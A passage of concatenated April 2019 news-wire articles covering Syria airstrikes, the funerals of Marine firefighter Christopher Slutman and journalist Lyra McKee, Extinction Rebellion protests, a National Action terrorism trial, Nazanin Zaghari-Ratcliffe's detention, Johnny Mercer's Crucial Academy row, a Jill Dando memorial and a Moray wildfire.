several airstrikes in retaliation on rebel-held areas in Hama and Idlib provinces. It was not clear if the rockets hit the base and there was no immediate comment from Russian or Syrian authorities. The Britain-based Syrian Observatory for Human Rights, an opposition war monitor, said the airstrikes killed three people, including a child. ___ Associated Press writer Bassem Mroue contributed to this report from Beirut. NEW YORK (AP) - A U.S. Marine killed in a roadside bombing in Afghanistan was honored by mourners from across the country at his funeral Friday in New York City, where he also was a decorated firefighter. The flag-draped casket of Staff Sgt. Christopher Slutman was carried atop a fire engine from a Bronx funeral home to Manhattan's majestic Saint Thomas Church. Thousands of Marines, firefighters and other responders in their dress uniforms lined both sides of Fifth Avenue for nearly a mile, saluting amid a slow drumbeat and the bagpipe strains of "Amazing Grace." "Today our city mourns a hero," Mayor Bill de Blasio said at the Episcopal service, adding that Slutman represented "the best in us." The 43-year-old father of three young daughters died April 8 near Bagram Airfield U.S military base, just three weeks before he was to return home. Two other members of Slutman's Massachusetts-based Marine Reserve unit also were killed. A 15-year member of the Fire Department of New York, Slutman was with Ladder 27 in the Bronx. In 2014, he received a medal for bravery after rescuing an unconscious woman from a burning apartment in the South Bronx. "Chris and his inside team forced open the door to the burning apartment and were met with high heat and thick black smoke that went from the floor to the ceiling," said Chris Williamson, who was Slutman's FDNY captain for four years. "Chris crawled on his belly through the smoke to a rear bedroom and found an unconscious woman; he did this without the protection of a fire hose." Fire and military officials salute the casket of U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, as it leaves St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) He then dragged the woman to safety. Marine Sgt. Major Chris Armstrong described Slutman as "a leader who was respected and admired." "When I received the terrible news, my heart broke as I thought of Chris's family and unit," Armstrong said, fighting back tears. In speaking of Slutman, Wiliamson described him as "squared away." "One phrase that seems to keep coming up when describing Chris is the term 'squared away' - used by all branches of the military to describe one whose performance is even with or above satisfactory levels. I think everyone in this church that knew Chris would wholeheartedly agree that he was way above satisfactory levels." A native of Newark, Delaware, Slutman had served as a volunteer firefighter in Maryland. He is to be buried on Tuesday at Arlington National Cemetery in Virginia. Shannon Slutman holds the fire helmet of her late husband, U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, while standing with their children as his casket leaves St. Thomas Episcopal Church, Friday April 26, 2019, in New York. (AP Photo/Bebeto Matthews) A fire truck leaves carrying the casket of U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, after his funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York. (AP Photo/Bebeto Matthews) Firefighters hoist the casket of U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman on to a firetruck, after funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York. (AP Photo/Bebeto Matthews) Shannon Slutman, center, stands under an umbrella, holding hands with her children as the casket for her husband, U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, leaves St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan.(AP Photo/Bebeto Matthews) Shannon Slutman holds the fire helmet her late husband, U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, as his casket leaves St. Thomas Episcopal Church, Friday April 26, 2019, in New York. (AP Photo/Bebeto Matthews) Shannon Slutman, center, stands under an umbrella while military and fire officials salute the casket of her husband, U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, as it leaves St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) Fire and military officials salute the casket for U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, as it arrives for funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York.The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) Shannon Slutman, second from left, holds onto a Marine officer as the casket for her husband, U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, arrives for his funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) Shannon Slutman, center, stands between military and fire officials as the casket for her husband, U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, arrives for his funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) The casket of U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, center, arrives for his funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) The casket of U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, center, arrives for his funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) The casket of U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, center, arrives for his funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) The casket of U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, center, arrives for his funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) The casket of U.S. Marine Corps Staff Sergeant and FDNY Firefighter Christopher Slutman, center, arrives for his funeral service at St. Thomas Episcopal Church, Friday April 26, 2019, in New York. The father of three died April 8 near Bagram Airfield U.S military base in Afghanistan. (AP Photo/Bebeto Matthews) FILE - This undated, file photo provided on April 9, 2019, by the Fire Department of New York shows firefighter Christopher Slutman. The 15-year member of the Fire Department was among three American service members killed by a roadside bomb in Afghanistan on Monday, April 8. (Fire Department of New York via AP, File) A priest has asked Northern Irelands politicians why it took the death of a 29-year-old woman to unite their parties. UK Prime Minister Theresa May stood alongside her Irish counterpart, Taoiseach Leo Varadkar, behind Lyra McKees coffin after she was shot dead by dissident republicans while observing rioting in Londonderry. Northern Ireland Secretary Karen Bradley has said she intends to hold discussions with Stormonts party leaders this week in an effort to restore powersharing. They attended a vigil together in Londonderry following the young journalists death. Sinn Fein leader Mary Lou McDonald was seated close to DUP chief Arlene Foster inside St Annes Cathedral during Ms McKees funeral in Belfast. Powersharing has been suspended for more than two years in a row over identity issues. Fr Martin Magill said: Why does it take the death of a 29-year-old woman with her whole life in front of her to get to this point? Ms McKee was killed by indiscriminate fire as she observed clashes between police and New IRA dissidents on the Creggan estate in Londonderry on April 18. Mourners said they hoped pleas for action would not fall on deaf ears. Mrs May said afterwards: We must do our utmost to ensure that that does not happen. Miss McKee was gay and non-sectarian. She revealed to a close friend plans to propose to her partner Sara Canning and get married in Donegal in 2022 just hours before she was murdered. Same-sex marriage is outlawed in Northern Ireland. Stephen Lusty said: She showed me pictures of the ring she had bought for Sara and told me of the fabulous plans she had of her proposal in May. The service of thanksgiving was held in the Church of Ireland cathedral, a short distance from her north Belfast home and close to a popular gay nightspot. Order of service for the funeral of Lyra McKee (Brian Lawless/PA) The journalists sister also urged politicians to get back to work and create a society where labels become meaningless. Sinn Fein leader Mary Lou McDonald said her party wanted to be in government making decisions on issues which impact on the lives of local people. We have told the British Prime Minister and the Taoiseach that the current situation of stalemate of no Executive or Assembly is untenable and cannot continue. Sinn Fein is ready to play our full part in a serious and meaningful talks process which removes obstacles to power-sharing, delivers rights, and restores the Assembly. DUP leader Arlene Foster said: We want to see the Government take steps to ensure talks commence. For our part I want to ensure we can get down to business. We all need to come to the table in a spirit of wanting to restore the Assembly and dealing with the issues which matter to most to people. Ms McKee broke down barriers in a divided community in Northern Ireland, mourners were told. She relished difference and embodied an alternative vision of a Northern Ireland at peace, a friend told the thanksgiving service in Belfast. Labour leader Jeremy Corbyn, President of Ireland Michael D Higgins and Irish foreign affairs minister Simon Coveney were among those who attended. Miss McKee sister Nichola Corner said she was the kindest and most gentle person the world will never forget. We can create a society where labels are meaningless. She added every single person should get the chance to grow up and make their dreams come true. This is Lyras legacy and we must carry it forward. This is the gift that God gave the world on the 31st of March 1990. We are all responsible for helping Gods will to be fulfilled, each and every one of us. Mourners listen to the service (Liam McBurney/PA) She paid tribute to her sisters bond with her mother. Whilst a broken heart can never be mended and an empty space can never be filled, the unconditional love that they both shared for each other will continue for eternity. Mr Lusty said she embodied a future of finding commonality, enjoying difference in others. They had been robbed of a talent destined to become a stateswoman, with only holes left behind, he said. Friends arrive for the funeral service (Liam McBurney/PA) He said Ms McKees lasting legacy should be peace. We have two choices, we can look into the holes and wait forever or we can fill those holes today. Today we grieve but tomorrow let us fill that hole by adopting Lyras future and vision. In introductory comments, Dean Stephen Forde said: Lyra was a person who broke down barriers and reached across boundaries. This was her hallmark in life, this is her legacy in death. Taoiseach Leo Varadkar, Prime Minister Theresa May and President Michael D Higgins before the funeral service (Brian Lawless/PA) Today should mark a new beginning for Northern Ireland, Fr Magill told mourners. Dissident republican gunmen who killed the journalist should lay down their arms, he added. Mourners embrace ahead of the funeral at St Annes (Brian Lawless/PA) Catholic priest Fr Magill said: I dare to hope that Lyras murder on Holy Thursday night can be the doorway to a new beginning. I detect a deep desire for this. Fr Magill said: To those who had any part in her murder, I encourage you to reflect on Lyra McKee, journalist and writer, as a powerful example of The pen is mightier than the sword. I plead with you to take the road of non-violence to achieve your political ends. Since the killing many have condemned the culture of violence and coercive control practised by dissidents, the clergyman said. We need to send a very different message and so I appeal to those who have information about Lyras murder but who havent yet come forward to do so now. If you want to see an end to these brutal rules, and see a new society built on justice and fairness, on hope and not fear, then you can help build that society by letting the police know what you know. Flowers at the spot where Lyra McKee was killed in Creggan (Aoife Moore/PA) He called on political leaders to break the Stormont negotiations impasse. I pray that Lyras murder may be the catalyst needed for parties to start talking, to reform that which was corrosive in previous assemblies and to begin anew. Those attending the funeral were asked to wear Harry Potter and Marvel Comics merchandise in tribute to the journalists passion for both. Cameras down in Doha to remember fellow journalist #LyraMcKee senselessly murdered in Derry. Her values of inclusion, love and equality are N Irelands future. #WestandwithLyra pic.twitter.com/vnq4kaffQv Andrea Catherwood (@acatherwoodnews) April 24, 2019 The congregation was led by Ms McKees partner, aged 35, her mother Joan McKee, 68, brothers Gary and David and sisters Joan, Nichola and Mary. Her family have paid tribute to a gentle, innocent soul whose desire to bring people together made her totally apolitical. Sara Canning (Brian Lawless/PA) The New IRA is an amalgam of armed groups opposed to the peace process and it recently claimed responsibility for parcel bombs sent to London and Glasgow in March. Police believe the violence in Derry was orchestrated in response to an earlier search by officers aimed at averting imminent trouble associated with the anniversary of the Easter Rising. Police Service of Northern Ireland (PSNI) chief constable George Hamilton said he felt the killers could be caught. He added: She cared passionately about issues and worked hard and with integrity, and of course that is in complete contrast to those people who came out of the shadows last Thursday night, fired shots at police lines, hitting Lyra and fatally injuring her. I suppose the outpouring of condemnation from the communities of Derry, Creggan all standing together in Creggan last Friday, was something I think was quite unique and quite different. We need to capitalise on that, we believe that the evidence to bring those responsible for Lyras murder is out there. Climate change activists plan to cause rush hour disruption in Londons financial district before they bring an end to days of protests in the centre of the city. Demonstrators said they will swarm into the Square Mile to cause roadblocks, targeting big business and banking. The Extinction Rebellion (XR) group said its action in the City of London on Thursday is likely to last a few hours, and comes on the day it is due to end blockades at Parliament Square and Marble Arch. A spokeswoman for the group said: Theres a public event which is what we are calling swarming, where at different locations in the City people will swarm into the roads and block the roads. She said the area is being targeted because the financial industry is responsible for funding climate and ecological destruction and we are calling on them, the companies and the institutions that allow this to happen, to tell the truth. She added: And were asking the Government to take action to address the climate emergency. Eco-protesters have been urging the Government to declare a climate emergency to avoid what it calls the sixth mass extinction of species on Earth. A small group of Extinction Rebellion protesters in Parliament Square in Westminster (Stefan Rousseau/PA) In a statement announcing the end of their action XR said: We would like to thank Londoners for opening their hearts and demonstrating their willingness to act on that truth. We know we have disrupted your lives. We do not do this lightly. We only do this because this is an emergency. Around the planet, a long-awaited and much-needed conversation has begun. People have taken to the streets and raised the alarm in more than 80 cities in 33 countries. People are talking about the climate and ecological emergency in ways that we never imagined. Extinction Rebellion protesters outside Parliament in Westminster (Kirsty OConnor/PA) The group added: It is now time to go back into our communities, whether in London, around the UK or internationally. XR also said to expect more actions very soon, adding that there will be a closing ceremony at Speakers Corner in Hyde Park on Thursday at 5pm. More than 1,000 people have been arrested during XR protests which started on April 15, while more than 10,000 police officers have been deployed. Extinction Rebellion protesters lying down inside the Natural History Museum in London (Mason Boycott-Owen/PA) As of Wednesday evening, Scotland Yard had charged 69 people in connection with the protests. They were charged with offences including breach of Section 14 Notice of the Public Order Act 1986, obstructing a highway and obstructing police. Three others have been charged by British Transport Police and have appeared in court. As of 4pm on Wednesday, a further 23 arrests were made, bringing the total arrest figure to 1,088, Scotland Yard said. Police said 22 arrests were made in Marble Arch on suspicion of breaching a Section 14 Notice of the Public Order Act 1986, and one further arrest was made in Parliament Square on suspicion of possession of a bladed article. Of those arrested, 12 are women and 11 are men and they are aged between 19 and 70. Elliott Cuciurean, 20, believed to be the first climate activist successfully prosecuted over the fresh wave of XR protests, was spared a fine at a court hearing on Tuesday. Police remove Extinction Rebellion demonstrators from Waterloo Bridge in London (Victoria Jones/PA) XR action has seen Waterloo Bridge and Oxford Circus blocked and a die in at the Natural History Museum. Elsewhere, activists have glued themselves to trains, chained themselves to objects, and some could even be seen perching in hammocks up trees overlooking Parliament Square. Members of XR have previously indicated temporarily ending disruptive tactics to focus on political negotiations. Police said conditions imposed in the Marble Arch area have been extended for a further three days, meaning that people who wish to continue protesting must assemble in a specific area. A woman accused of being a neo-Nazi terrorist claimed she only entered a Miss Hitler beauty pageant because she was pestered into it, a court has heard. Alice Cutter said she was then left panicking when the far-right contest featuring her photograph, wearing a face-mask, under the contestant name Buchenwald Princess ended up making national newspapers. The 22-year-old also described messages she sent about killing Jews as just stupid dark humour and distasteful edginess made in private. Alice Cutters image, which appeared on her Miss Hitler contest entry (West Midlands Police/PA) Other remarks in which she said Kill, kill, kill while talking about gassing synagogues was just her talking shit and she would never do anything illegal, she told Birmingham Crown Court. Cutter is on trial accused of being a member of banned terrorist group National Action, alongside her boyfriend Mark Jones and two other men. The waitress, who was giving evidence for the first time on Wednesday, told jurors she really didnt think she ever was a member of the organisation, which was banned in December 2016. Cutter told jurors she had filled out her own two-page profile as part of the entry to the National Action-run Miss Hitler competition. She described having a love of nature and animals, European architecture and added the best gift life had given her was cats. Cutter also said on her entry form: The only reason I even decided to become active in the far right was National Action. Alex Deakin, pictured at a National Action rally in Darlington. (West Midlands Police/PA) Cutter, who told jurors she was an animal-lover and a vegan, was asked about an exchange with group member Alexander Deakin, in a chat about killing Jews. Jurors heard Deakin, who Cutter said first introduced her to National Action, has since been convicted of being a regional organiser for the terrorist organisation, after the group was outlawed. Describing her remarks, she said: It sounds sad but I was, I guess, just showing off to my own target audience, saying stupid things because I knew it really wasnt that extreme to them I suppose. It was just stupid dark humour, distasteful edginess and I knew I could say these sort of things and it wouldnt go anywhere. Cutter said Deakin had very persistently asked her to enter the Miss Hitler pageant, along with another member she named as Ashley Bell. Asked about entering the competition by her barrister Liam Walker, she replied: Because Id just made some new friends and I thought they might be different to people Id experienced in the past. I didnt want to cock it up so early by not doing that. Alice Cutter (West Midlands Police/PA) Cutter, originally from Bradford, West Yorkshire, claimed it was National Actions co-founder Ben Raymond who selected her entry name Buchenwald Princess, which referenced the infamous Nazi-era death camp. The competition made headlines when a national newspaper exposed the pageant in June 2016. Asked how she felt on seeing her face and those of other entrants splashed across the press, Cutter replied: I never thought it would get published because I didnt think it would go anywhere and I just thought it would remain where it was, on the website. But it did get picked up and I was panicking. Cutter, who claimed to have a history of anxiety and panic attacks, said she urged Raymond to alter or remove her image from the Miss Hitler website but it remained live. I really did regret it as soon as it happened, she added. She was also asked about other remarks to Deakin in which she said why can we not gas the f****** invaders and, regarding Jews, cleanse them with fire. Cutter, wearing a floral dress, replied: I definitely didnt mean that, Im being stupid on a private chat with Deakin. Its tasteless, I know its tasteless but its not reality. I wouldnt be cleansing anyone with fire, I wouldnt be gassing anybody, its not real. Mark Jones, who is also accused of National Action membership (West Midlands Police/PA) Jurors heard that Cutter considered Deakin a friend and funny, but she had had to rebuff his attempts to begin a romantic relationship. Deakin had been putting it about to others that he and she were potentially going to be an item, which Cutter did not appreciate. Instead, Cutter started dating co-accused Jones, which left Deakin mumbling under his breath at one social gathering where both men were present, she said. Jones, 24, ended up moving in together with Cutter in Sowerby Bridge, Halifax, West Yorkshire, in May 2017. Cutter told jurors she started to worry about her and Jones being part of National Action, and that a series of messages about their relationship was just saying can it (National Action) not just be a thing anymore. She told how the couple got engaged at Fountains Abbey, near Ripon. But Cutter broke down in tears when telling the jury she had removed her ring a week-and-a-half ago. Earlier in the trial, Jones revealed during his evidence how he had cheated on Cutter with a 16-year-old female would-be recruit. Cutter and Jones, who is originally from Highbury, London, are on trial alongside Garry Jack, 23, of Heathland Avenue, Birmingham, and 18-year-old Connor Scothern, of Bagnall Avenue, Nottingham, accused of group membership. All deny any wrongdoing and the trial continues. Irans foreign minister has suggested charity worker Nazanin Zaghari-Ratcliffe could be released as part of a prisoner swap. The British-Iranian mother was sentenced to five years in jail after being accused of spying by Tehrans Islamist regime, a charge she vehemently denies. Javad Zarif said he has the authority to make an exchange happen, adding that the United States government knew Iran was prepared to do a swap six months ago. Mrs Zaghari-Ratcliffes husband, Richard Ratcliffe, said he was surprised by Mr Zarifs comments and that he would have to speak to the Foreign Office and State Department. Nazanin Zaghari-Ratcliffe holding her daughter Gabriella (The Free Nazanin campaign/PA) Speaking at the Asia Society, Mr Zarif said: We have an Iranian lady in Australia who gave birth to a child in prison, not even on bail, inside prison, on an extradition request by the United States because she was responsible as a translator in a, whatever, in a purchase operation purchase of some transmission equipment for Iranian broadcasting company. Thats her charge. She has been lingering in an Australian jail for the past three years. Now we hear about Nazanin Zaghari (Ratcliffe) and her child, and I feel sorry for them and I have done my best to help, but nobody talks about this lady in Australia who gave birth to a child in prison whose child is growing up outside prison with mother in prison. So, what can I do as a foreign minister? And I put this offer on the table publicly now. Exchange them. All these people that are in prison, inside the United States, on extradition request from the United States we believe their charges are phoney. The United States believes the charges against these people in Iran are phoney. Fine. Lets not discuss that. Lets have an exchange. Im ready to do it. And I have authority to do it. Weve informed the government of the United States six months ago that we are ready not a response yet. If they tell you anything else, theyre lying. A video of Mr Zarif in conversation with Asia Society president and chief executive Josette Sheeran is posted on the organisations website. Mr Ratcliffe said he is not sure if it is a serious proposal or if it was said as part of a wider context. Normally my sense with Iran is nothing is flippant, and so it will have a meaning, but it might not be the obvious meaning, he said. Mr Ratcliffe said in the approximately 40 messages from Iranian authorities about solving Nazanins case, a prisoner swap was only mentioned once in February 2017. Nearly all of those has focused on the outstanding debt that the UK has with Iran, he said. Mr Ratcliffe said Mr Zarifs suggestion has left him disoriented, adding that he is not sure quite what it means. He said: It has felt increasingly that we are in the doorway, and we might be held in the doorway for a while, but Nazanins situation cannot go on for much longer. Mr Ratcliffe added: Its always good when were not forgotten. Mrs Zaghari-Ratcliffe was arrested with her infant daughter Gabriella on April 3 2016 at Tehrans Imam Khomeini Airport as she prepared to board a plane back to the UK after visiting relatives. The 40-year-old is serving a five-year sentence in Tehrans notorious Evin Prison. The trial by a Revolutionary Court in Tehran was widely condemned as unfair and she strenuously denies the charges against her. Just met Iranian Foreign Minister Javad Zarif at #UNGA. I pressed for swift resolution on all our dual national consular cases, including Nazanin. NOT acceptable to detain innocent people arbitrarily at the cost of enormous human anguish Jeremy Hunt (@Jeremy_Hunt) September 25, 2018 Foreign Secretary Jeremy Hunt granted Mrs Zaghari-Ratcliffe diplomatic protection last month. But Tehran refuses to acknowledge her dual nationality and said the UKs actions were illegal. Mr Hunt met Mr Zarif last September and wrote on Twitter: I pressed for swift resolution on all our dual national consular cases, including Nazanin. NOT acceptable to detain innocent people arbitrarily at the cost of enormous human anguish. Prime Minister Theresa May has also told Iranian President Hassan Rouhani she had serious concerns about the jailing of Mrs Zaghari-Ratcliffe. A Foreign Office spokeswoman said: The treatment of all British-Iranians detained in Iran, including Mrs Zaghari-Ratcliffe, is a priority for the Government. We remain concerned about all of our consular cases and raise them at every level and every opportunity. A company linked to Conservative MP Johnny Mercer has said it is taking legal action over reports that cash from a firm that marketed a failed bond scheme funded his salary. Mr Mercer, who represents Plymouth Moor View, has rejected any suggestion of wrongdoing, saying there was a coordinated effort to go after me and adding: Politics is truly grim. His comments came after a BBC report that his private salary was funded by a firm that marketed a failed bond scheme that lost savers 236 million. The MP receives 85,000 from Crucial Academy, an organisation that trains armed forces veterans, for working 20 hours a month equivalent to more than 350 per hour. This is in addition to his basic annual MPs salary of 79,468. In response to the story today that through my work for a Cyber Training Academy that skills up veterans and places them in jobs, I have somehow been paid money from a collapsed bond scheme run by a company Ive never heard of, never met, or never had anything to do with at all pic.twitter.com/uBvzj0AQOy Johnny Mercer (@JohnnyMercerUK) April 24, 2019 A report by the BBC alleged that Crucial Academy was loaned 325,095 by Surge Group, following a loan to Surge Group from Surge Financial Ltd, which took a 25% commission for marketing bonds for London Capital and Finance (LCF). Johnny Mercer (Stefan Rousseau/PA) Earlier this month, the Financial Conduct Authority (FCA) said an independent probe should be carried out following the collapse of LCF in January. The Serious Fraud Office has already opened an investigation. The Crucial Group issued a statement insisting that Mr Mercer has not received any money, directly or indirectly, from London Capital and Finance PLC at any stage. Extremely saddened by efforts made against a good company, run by good people doing good things for Veterans. Never have I received any money -directly or indirectly - from any collapsed bond scheme. Legal action has commenced. Appreciate the kindness. Politics is truly grim pic.twitter.com/YfQBB3FEnr Johnny Mercer (@JohnnyMercerUK) April 24, 2019 The statement said that the Group and its subsidiaries were 100% owned by Neil Williams, adding: Crucial no longer has any ties to the companies that were linked to LCF in todays stories. And it said: Crucial has instructed legal action to commence and will not be commenting further. The company said that Mr Mercer was paid in line with his skills and experience for his valuable contribution to its activities. It said Crucial would remain committed to its efforts to help veterans into new careers. Responding on Twitter, Mr Mercer said: Extremely saddened by efforts made against a good company, run by good people doing good things for veterans. Never have I received any money directly or indirectly from any collapsed bond scheme. Legal action has commenced. Appreciate the kindness. Politics is truly grim. In an earlier statement, Mr Mercer insisted Crucial Academy has no financial link to LCF and had repaid the loan from Surge Group after it was uncovered. Clearly there is some coordinated effort to go after me at present the reasons for which are unclear, he said. Let me be very clear from the outset: I totally reject the assertion that I have done anything wrong in working as a non-executive director of Crucial Academy. This is a training academy that trains veterans from the armed forces with particular specialist skills in cyber security, and places them with major companies. There are many similar endeavours, particularly in the US. It is possible to draw a link between an individual and any number of companies. This has been done by the BBC between Crucial Academy and London Capital Finance (LCF) through two other companies. I have sought rigorous assurances that at no stage was capital used from any business with LCF, in Crucial Academy. I received those assurances. It now appears that there is a historical link between the two, that has been uncovered in the accounts when Surge Group loaned the Crucial Group 325,095. Clearly I had no role in this, joining the Academy only last autumn. I will help London Capital and Finance investors in whatever way I can. I have huge sympathy for those who have been a victims of a clearly fraudulent company I have never met, heard of, or had anything to do with. Ever. pic.twitter.com/sjKCi96PbG Johnny Mercer (@JohnnyMercerUK) April 24, 2019 Mr Mercer said that once that historical link was discovered, a management buy-out of Crucial Academy took place and the loan was repaid to ensure the continuing integrity of the firm. He described the report as an attempt to tie him to LCF, a company that had imploded amid allegations of fraud. I have never met, heard of, or had any interest in this company previously, yet alone the financial products they offered, he said. I have huge sympathies with the bondholders, and would support them in any future action they take to try and recover their position. But let me be clear: Crucial Academy is a good organisation, doing good things, run by good people, with no financial link to London Capital and Finance. I have no intention of resigning or cutting them loose in this storm. The wider context of calling out deliberate efforts to smear me by so-called colleagues in the House of Commons, and then this story appearing so soon afterwards, I will leave for others to judge. Jill Dandos former Crimewatch co-host Nick Ross has hailed her remarkable legacy as friends of the murdered television presenter gathered to mark almost 20 years since her death. Ms Dandos former fiance Alan Farthing, her cousin Judith Dando and then-colleague Fiona Bruce all paid emotional tributes to the television presenter. They were joined by the Countess of Wessex, a trustee of the Jill Dando Fund, at an event in London in her memory. The 37-year-old, then one of the BBCs highest-profile stars, was shot outside her home in Fulham, west London, on April 26 1999. Following her death, an institute was set up in her name at University College London, said to be the first in the world devoted to crime science. Ross said the Jill Dando Institute of Security and Crime Science is a legacy of which those who knew and loved Ms Dando could all be proud. Nick Ross in 2002 (Rui Vieira/PA) Speaking at the Royal Society on Wednesday evening, he said: We all know theres a blaze of publicity about Jill this month, a BBC documentary, lots of press coverage. Sadly most of the attention is about the manner of Jills death. Tonight is about her life, its to celebrate her life and her remarkable legacy, a major department in a world class university that bears her name. He added: What we all know is that Jill is still after 20 years hugely admired and greatly missed and she leaves behind a legacy of which all of us can be intensely proud. Part of the institutes work focuses on new ways to cut crime and increase security, drawing on the universitys experience across related disciplines, including architecture, economics, engineering, geography, medicine, psychology, statistics and town planning. It now has more than 30 staff and dozens of researchers. Those who had known Ms Dando recalled fond memories of her and spoke of their pain at her loss. Sir Cliff Richard, a close friend of Ms Dando, paid tribute by video message from Barbados. He described her as a beautiful, funny, intelligent but above all a genuinely nice, kind and thoughtful human being. Mr Farthing said he had initially been reluctant to speak at the event due to the emotion of the occasion. He said: Jill was admired by those, many of those who had never met her. She was respected by those who worked with her and she was loved by everyone who knew her. Mr Farthing, who has since married and fathered two sons, said Ms Dando had been denied having a family of her own, something he said was so unfair, so unnecessary and so pointless. Bruce thanked Ms Dando for helping to show her she could have a varied career, presenting shows she loved, from the serious to the more lighthearted. She said: Jill led the way for me, not just in the programmes that I did but also in how I could do them. She showed that you can do the news and you can still show your humanity, your warmth, your sense of fun. As her voice appeared to break with emotion, she added: I think, more often than I suspect you might realise, would I be presenting the programmes that I love, combining just recently Question Time and the news with something like the Antiques Roadshow and other programmes Ive made over the years if it wasnt for Jill? I dont know for sure but I know that she helped make it possible for me. She broke the mould. And I would love to talk to her about it and get some advice and to thank her but of course I was never able to do that, so in a small way Im doing that now. So Jill, I owe you. Thank you. Barry George was arrested on suspicion of murder in 2000, one year after Ms Dando was killed. Mr George was convicted and imprisoned for eight years, then acquitted and released after a retrial. A major wildfire in Scotland could be one of the largest seen in the UK for years, according to firefighters. Crews were alerted just before 3pm on Easter Monday to the blaze near Aberlour, Moray. Dry conditions and high winds caused the flames to spread aggressively, affecting an estimated 50 square kilometres of gorse, grass and forestry, the Scottish Fire and Rescue Service (SFRS) said. At its height, around 80 firefighters, two helicopters, 19 fire engines and specialist resources were called upon to help tackle the fire, which was on four fronts. The blaze has been on four fronts (SFRS/PA) Firefighters are still at the scene and they are expected to remain there for several days. Area manager Bruce Farquharson was the incident commander and is now overseeing it from the SFRS operations control centre. He said: This is shaping up to be one of the largest wildfires that the UK has seen in years. The conditions, including the weather, the terrain and the sheer scale of the incident have made it very challenging. This type of incident requires a large amount of resources, and we have called upon the resilience of our national service to tackle it. Additionally, we have received additional support from our partners which includes two helicopters which have been working alongside our crews to tackle the fire in difficult-to-reach areas. Several properties close to the fire have been evacuated as a precaution and the blaze created a large smoke plume which could be seen from space, the fire service said. Plumes of smoke could be seen for miles (SFRS/PA) Mr Farquharson said: We are advising people who live in the path of the smoke to keep their windows and doors closed as a precautionary measure. Additionally, many roads in the area remain closed and we are asking people to avoid the area for their own safety, and to allow full access for the emergency services. He added: We will remain on scene for several days yet. Our crews continue to work hard and in challenging conditions to contain and extinguish the fire, and they must be commended for their efforts. Additionally, the continued support of our partners and emergency service colleagues has been invaluable and our sincere thanks goes to them also. A reward of up to 10,000 has been offered for information about the murder of journalist Lyra McKee. The Crimestoppers charity said the cash was available to anyone providing information which directly led to the arrest and conviction of those responsible for the dissident republican shooting in Londonderry last week. UK Prime Minister Theresa May stood alongside her Irish counterpart, Taoiseach Leo Varadkar, at the 29-year-olds funeral in Belfast on Wednesday. Sinn Fein leader Mary Lou McDonald was seated close to DUP chief Arlene Foster inside St Annes Cathedral. Fr Martin Magill, the priest leading the service, received a standing ovation when he asked why it took the death of a 29-year-old woman to unite their parties. Mourners said they hoped pleas for action would not fall on deaf ears. Mrs May said afterwards: We must do our utmost to ensure that that does not happen. The 100-year-old cathedral in the heart of Belfast was packed for the funeral, where there were tears and laughter for Ms McKee. The congregation was led by Ms McKees partner, aged 35, her mother Joan McKee, 68, brothers Gary and David and sisters Joan, Nichola and Mary. Her family earlier paid tribute to a gentle, innocent soul whose desire to bring people together made her totally apolitical. Lyras friends filled the pews wearing homemade #TeamLyra t-shirts, with Harry Potter-esque crests on the front. Ms McKee was killed by indiscriminate fire as she observed clashes between police and New IRA dissidents on the Creggan estate in Londonderry on April 18. Prime Minister Theresa May, Taoiseach Leo Varadkar and Secretary of State Karen Bradley (left) outside the cathedral following the funeral service (Brian Lawless/PA) The New IRA is an amalgam of armed groups opposed to the peace process and it recently claimed responsibility for parcel bombs sent to London and Glasgow in March. Police believe the violence in Derry was orchestrated in response to an earlier search by officers aimed at averting imminent trouble associated with the anniversary of the Easter Rising. Launching the reward for information, a spokesman for Crimestoppers, said it could make all the difference in helping Lyras loved ones and the wider community have the answers they deserve. This murder has sent shockwaves through the local community and across Northern Ireland. Indeed it has attracted global condemnation, they said. Ms McKee was merely doing her job as a freelance journalist. We know that this has affected all parts of the community and we urge anyone who has information about those who are responsible to come forward. Armed police were at the scene of unrest in Creggan on the night Ms McKee was shot (Niall Carson/PA) The independent organisation takes calls confidentially via a telephone or using an anonymous online form. The spokesman said: By contacting Crimestoppers, you stay 100% anonymous. Always. You can pass on what you know, safe in the knowledge that youre doing the right thing. No-one will ever know you contacted us and you may also be entitled to 